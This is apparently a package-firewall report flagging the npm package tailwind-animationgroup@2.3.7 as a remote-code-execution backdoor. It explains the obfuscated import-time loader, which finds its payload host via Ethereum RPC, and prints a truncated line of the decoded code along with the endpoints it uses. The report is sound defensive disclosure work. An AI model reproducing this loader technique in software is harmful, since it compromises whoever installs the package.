registry / Remote code execution / tailwind-animationgroup

tailwind-animationgroup

Excellent animation utilities of TailwindCSS

This report shows the evidence for tailwind-animationgroup@2.3.7. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The package contains concrete, obfuscated import-time payload delivery and execution behavior unrelated to its stated Tailwind functionality. Absence of lifecycle hooks does not mitigate execution through the main entrypoint.

Static reason

No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing or loading src/index.js through the package main entrypoint.

Impact

Arbitrary code execution under the consuming process user.

Mechanism

Obfuscated import-time remote payload retrieval and eval/spawn execution.

Attack narrative

src/index.js executes an encoded loader at import time. The decoded code queries Ethereum RPC services, derives a dynamic server address from transaction data, fetches payloads from /0x/cls and /0x/ls, and executes returned content with eval or a detached node -e process. This is an active remote-code-execution backdoor hidden after legitimate plugin code.

AI rationale

Evidence

package.jsonsrc/index.jssrc/compat/helper/bare-values.js

Network endpoints4

1rpc.io/etheth.drpc.orgethereum-rpc.publicnode.cometh-mainnet.public.blastapi.io

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

src/index.js appends obfuscated eval(atob(...)) to the main entrypoint.
Decoded loader runs automatically when the package is imported.
Loader queries Ethereum RPC endpoints to derive a dynamic payload host.
It fetches /0x/cls and /0x/ls then evals the response or spawns detached node -e.
Remote payload execution is unrelated to Tailwind animation utilities.

Evidence against

package.json has no npm lifecycle hooks.
Other src/compat files implement ordinary Tailwind animation utilities.

Behavioral surface

Source

DynamicRequireEval

Supply chain

HighEntropyStringsMinified

ManifestNo manifest risk signals triggered.

scanned 11 file(s), 25.1 KB of source

Source & flagged code

4 flagged

src/index.jsView file

•matchType = malicious_source_fingerprint_signature signature = 486057a664947d76 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = tailwind-animationpack@2.3.7 matchedPath = src/index.js matchedIdentity = npm:dGFpbHdpbmQtYW5pbWF0aW9ucGFjaw:2.3.7 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

13theme: require('./compat/theme'), L14: }); ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

src/compat/theme.jsView file

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values') L2:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

src/compat/theme.jsView on unpkg · L1

src/index.js#virtual:base64:round1View file

1global.i="A8-##";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=re...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

Source & flagged code

4 flagged · loading source

src/index.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

13theme: require('./compat/theme'), L14: }); ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

src/compat/theme.jsView file

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values') L2:

Findings

2 High2 Medium3 Low

HighSame File Env Network Executionsrc/index.js#virtual:base64:round1

HighKnown Malware Source Fingerprint Signaturesrc/index.js

MediumDynamic Requiresrc/compat/theme.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvalsrc/index.js

LowHigh Entropy Strings

Affected versions and remediation

This report applies to tailwind-animationgroup@2.3.7.

The versions list below shows the verdict for each recorded version.

Avoid installing tailwind-animationgroup@2.3.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-24 08:45:11.783Z (UTC).

Source advisory published: 2026-08-05 09:05:06.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 24, 2026, 7:49 AM 2.3.7shownMaliciousRemote Code ExecutionBlockPublishedAug 2, 2026, 2:46 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code